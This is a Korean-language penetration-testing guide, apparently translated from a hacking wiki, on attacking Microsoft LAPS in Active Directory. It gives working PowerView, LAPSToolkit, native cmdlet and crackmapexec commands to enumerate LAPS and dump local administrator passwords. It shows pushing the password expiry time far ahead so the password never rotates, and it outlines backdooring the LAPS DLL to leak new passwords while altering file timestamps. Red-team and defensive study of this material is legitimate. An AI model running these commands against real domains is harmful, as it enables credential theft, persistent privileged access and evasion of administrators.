로컬 관리자 비밀번호 솔루션(Local Administrator Password Solution, LAPS)은 고유하고 무작위이며 자주 변경되는관리자 비밀번호를 도메인에 가입된 컴퓨터에 적용하기 위해 사용되는 도구입니다. 이러한 비밀번호는 Active Directory 내에 안전하게 저장되며, Access Control Lists (ACLs)를 통해 권한이 부여된 사용자만 접근할 수 있습니다. 클라이언트에서 서버로의 비밀번호 전송 보안은 Kerberos 버전 5와 **고급 암호화 표준(AES)**를 사용하여 보장됩니다.
도메인의 컴퓨터 객체에서 LAPS의 구현은 두 개의 새로운 속성인 **ms-mcs-AdmPwd**와 **ms-mcs-AdmPwdExpirationTime**을 추가합니다. 이 속성들은 각각 평문 관리자 비밀번호와 만료 시간을 저장합니다.
Check if activated
regquery"HKLM\Software\Policies\Microsoft Services\AdmPwd"/vAdmPwdEnableddir"C:\Program Files\LAPS\CSE"# Check if that folder exists and contains AdmPwd.dll# Find GPOs that have "LAPS" or some other descriptive term in the nameGet-DomainGPO|?{ $_.DisplayName-like"*laps*"}|select DisplayName, Name, GPCFileSysPath |fl# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
LAPS 비밀번호 접근
\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol에서 원시 LAPS 정책을 다운로드한 다음, GPRegistryPolicyParser 패키지의 **Parse-PolFile**를 사용하여 이 파일을 사람이 읽을 수 있는 형식으로 변환할 수 있습니다.
또한, 네이티브 LAPS PowerShell cmdlets는 우리가 접근할 수 있는 머신에 설치되어 있다면 사용할 수 있습니다:
Get-Command*AdmPwd*CommandType Name Version Source----------------------------Cmdlet Find-AdmPwdExtendedRights5.0.0.0 AdmPwd.PSCmdlet Get-AdmPwdPassword5.0.0.0 AdmPwd.PSCmdlet Reset-AdmPwdPassword5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdAuditing5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdComputerSelfPermission5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdReadPasswordPermission5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdResetPasswordPermission5.0.0.0 AdmPwd.PSCmdlet Update-AdmPwdADSchema5.0.0.0 AdmPwd.PS# List who can read LAPS password of the given OUFind-AdmPwdExtendedRights-Identity Workstations | fl# Read the passwordGet-AdmPwdPassword-ComputerName wkstn-2| fl
PowerView는 누가 비밀번호를 읽을 수 있는지와 그것을 읽는지 알아내는 데에도 사용될 수 있습니다:
# Find the principals that have ReadPropery on ms-Mcs-AdmPwdGet-AdmPwdPassword-ComputerName wkstn-2| fl# Read the passwordGet-DomainObject-Identity wkstn-2-Properties ms-Mcs-AdmPwd
LAPSToolkit
LAPSToolkit는 여러 기능을 통해 LAPS의 열거를 용이하게 합니다.
하나는 **LAPS가 활성화된 모든 컴퓨터에 대한 ExtendedRights**를 파싱하는 것입니다. 이는 LAPS 비밀번호를 읽도록 특별히 위임된 그룹을 보여주며, 이러한 그룹은 종종 보호된 그룹의 사용자입니다.
도메인에 컴퓨터를 가입시킨 계정은 해당 호스트에 대한 All Extended Rights를 받으며, 이 권한은 비밀번호를 읽을 수 있는 능력을 부여합니다. 열거를 통해 호스트에서 LAPS 비밀번호를 읽을 수 있는 사용자 계정을 보여줄 수 있습니다. 이는 LAPS 비밀번호를 읽을 수 있는 특정 AD 사용자를 타겟팅하는 데 도움이 될 수 있습니다.
# Get groups that can read passwordsFind-LAPSDelegatedGroupsOrgUnit Delegated Groups-----------------------OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain AdminsOU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin# Checks the rights on each computer with LAPS enabled for any groups# with read access and users with "All Extended Rights"Find-AdmPwdExtendedRightsComputerName Identity Reason--------------------------MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins DelegatedMSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated# Get computers with LAPS enabled, expirations time and the password (if you have access)Get-LAPSComputersComputerName Password Expiration------------------------------DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf%12/10/202213:24:41
Dumping LAPS Passwords With Crackmapexec
powershell에 접근할 수 없는 경우 LDAP를 통해 이 권한을 원격으로 악용할 수 있습니다.
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
이것은 사용자가 읽을 수 있는 모든 비밀번호를 덤프하여 다른 사용자로 더 나은 발판을 마련할 수 있게 해줍니다.
관리자가 되면, 비밀번호를 얻고비밀번호 업데이트를 방지하기 위해 만료 날짜를 미래로 설정할 수 있습니다.
# Get expiration timeGet-DomainObject-Identity computer-21-Properties ms-mcs-admpwdexpirationtime# Change expiration time## It's needed SYSTEM on the computerSet-DomainObject-Identity wkstn-2-Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
비밀번호는 admin이 Reset-AdmPwdPassword cmdlet을 사용할 경우 여전히 재설정됩니다. 또는 LAPS GPO에서 정책에 의해 요구되는 것보다 긴 비밀번호 만료 시간을 허용하지 않음이 활성화된 경우에도 마찬가지입니다.
백도어
LAPS의 원본 소스 코드는 여기에서 찾을 수 있으며, 따라서 새 비밀번호를 유출하거나 어딘가에 저장하는 백도어를 코드에 삽입할 수 있습니다 (예: Main/AdmPwd.PS/Main.cs의 Get-AdmPwdPassword 메서드 내부).
그런 다음, 새로운 AdmPwd.PS.dll을 컴파일하고 C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll에 업로드합니다 (그리고 수정 시간을 변경합니다).